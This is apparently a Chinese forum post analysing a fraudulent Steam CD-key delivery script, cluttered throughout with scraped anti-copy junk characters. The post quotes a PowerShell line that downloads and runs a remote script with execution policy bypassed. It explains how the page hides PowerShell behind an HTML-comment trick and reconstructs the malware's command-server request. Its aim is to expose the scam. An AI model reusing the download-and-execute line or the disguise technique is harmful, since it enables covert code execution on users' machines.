|
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲: m% a2 ]: }. V( h6 Q& x: [

2 w6 ?8 c6 g- ~ m9 I* O1 T2 D' F' G5 q
啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?
9 b# K5 Q9 @$ g# o$ i; ]+ X" U3 u1 G" j) ?
我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:
, U9 b. }+ A$ x9 z" t- L4 {0 d , Q2 e- u& G, B* [# [3 s3 n0 D
好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损
0 c# N0 z0 f* I; ^' N+ O% H4 z4 O, v. q2 C
那么真实的代码就只剩两行了:
$ _# Y4 m: M9 F7 ~[PowerShell] 纯文本查看 复制代码
$ p- \5 R; n& U, i7 J9 J?3 p) A9 x# a7 r: g) b, i6 U
13 f/ I% f' E0 j* O3 P- a
27 Y ?1 m5 c C2 m3 d
| irm steam.work/pwsDwFile/new1 -OutFile x.ps1" d2 v2 D7 E) }2 X2 R# G
powershell.exe -ExecutionPolicy Bypass -File x.ps1;9 y. f1 H' E7 [4 `9 \
$ c6 Z6 }5 n6 p r | r% N' ]% k/ S; y# N, F
5 a: n: [' r8 Q! N' y! n) I
* I8 L- [2 D: l$ j+ p: Z: [2 ]4 L: W3 }# O- [
# T5 E6 r* K$ B3 w看得出来,又是下脚本...我们把这玩意也下下来看一眼:
3 l9 s' A. Z# B4 @, g7 V " U1 _1 r$ ]( C5 q8 m
我怎么兑换个激活码你还给我注入上 Steam了!有病啊!9 U0 r* i( s" Y/ Z
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
9 g! e- u0 r+ U8 ]5 i1. 把危险函数 VirtualAlloc 等 伪装成普通函数:
; |) @1 V" J. V2 M 9 a) q3 S4 ^0 p( j
2. 里面有 zlib.inflate (图里打错了)
* _0 J2 d% l$ T9 b. _* e- z# ~
" q! C7 w- u f) R# _, l& ^/ @! @; D# `
看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:# e8 `6 L; w! t
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西( g3 w2 F1 P( R6 Q4 z+ ^4 V$ M
* J4 R: ^8 I: \1 ~$ z7 ?: C
[eax + 0x4 * 3] -> 解压出缓冲区指针
) M6 F9 ?- w. u, b' F0 t[eax + 0x4 * 5] -> 解压出数据长度 7 u$ i* ^/ J- K. M7 O6 r1 H2 O+ J
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
" ~& i$ t/ p$ X6 D6 }$ ?2 |7 M这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:' H. U4 O9 _1 B' P% R# h! k

" V `3 m7 R' m0 G' o1 q% M怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?
2 x. M9 j4 y; s! s; @ ' u# C: c% \3 x9 t! O2 I' a/ r9 x+ [
这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串. q4 C6 Q* b; L" P; v# W
1 w, g: j. f8 f: I6 a3 C& V K(接前文)" N* m/ q4 n& }; Z& e" s. y
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
8 h0 d4 Q& S2 b% i6 t直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
' k, r g# @# Z) s然后就断下来了,我们来看一眼5 Y. l t7 q8 W) O2 E
$ w5 C( M( U8 b( E+ r7 E/ y
直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下
5 I8 ?' Y" [, E在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:; q" H8 j$ w0 m, ~
, W+ p- _+ `) u/ K/ rHTTP1.1 POST http://api.steam.work/api/integral/vs+ i* J8 j0 H& Y4 E4 {
Referer: version) J1 x8 \" u- ?, }7 p" I. o7 |- \
user-agent: steam
$ R- j }% }8 Q @: t/ r7 ?{"sign":"ckv"}9 W8 T4 X& m, T; Z: l
3 j: |! q/ @0 ~7 k' q# N3 B; `6 ?2 V: K2 g: ?; M! q

- V3 T, k5 ~3 ` F) f. O* A' Q
0 k' j. B1 j' c, t6 V2 k返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点4 `0 H, T3 C; W
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)
6 X8 F$ s' M0 Z5 ?& ]
; q4 Y. S, T" @于是转移到一台实机上继续分析。& e; p* _, \- ^, n7 l+ I2 x1 N3 V
) r7 L0 F+ L2 U+ F0 K3 _
2 R1 F% s2 w& U. o
直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点3 E9 ~9 |4 g8 O, s# q q
把请求掏出来看看:" O: L* H2 z8 N, P
, ~* ?7 B; i; C& ]
看起来是成功了,返回一个 code 和一个 data;
' g, \% U. l/ ~% _这个 ID 又是啥?' ?+ u6 \4 u# W% `

5 N, K* [6 U6 f/ X2 q哦,哈迪斯的 App ID/ _. I! p0 |/ [& ?3 q" K
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
5 @- D) `5 j% _0 a& \+ |* K) \+ aC:\Program Files (x86)\Steam\package\data& J* N6 w6 C) b ?

( K3 _9 s$ }% L | M" V, B& x+ i这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
& @$ N) n' T0 H2 v7 w那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开
: H# v% Z' D# p0 t
1 V$ s6 [$ Z7 S! m; ~9 O& A" K居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:, s4 s9 S1 X$ e& |

, l0 n, I* R$ Z6 l有个appid,和两个不认识的hex;把键名拿去搜搜看:; ^# l3 z/ w3 F0 P- F* R* F
- q/ |4 }& r5 l5 i6 z) t+ H

4 j% U) G7 C0 M, L原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!# O' T, a- O( A4 [2 m4 y% R# |5 F
; N) d- W- V* [% l! W还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey s. l0 w4 `. \! h4 d
( `' M3 E6 e0 ]& f& c0 C3 A |
+ u4 B }6 T1 k( O' v& X4 B% r7 H% M2 Z) m# p; c' ` s
. u" r+ I0 ?4 N+ G1 j% K0 R
7 N b- y6 `7 E1 a* f6 F
8 K0 r; d* Q+ E0 ?% c6 `: B$ @
! W( L" Y* T f, b5 { V
& z& @( J4 m4 u2 u
5 }2 s' ^& `% B8 A9 H. s/ ?2 U& K' K3 X4 {/ F3 E W; J
; c) u' f. E6 |# |8 u4 j2 E& _
( D9 R0 ^- M# t0 y M! D |
|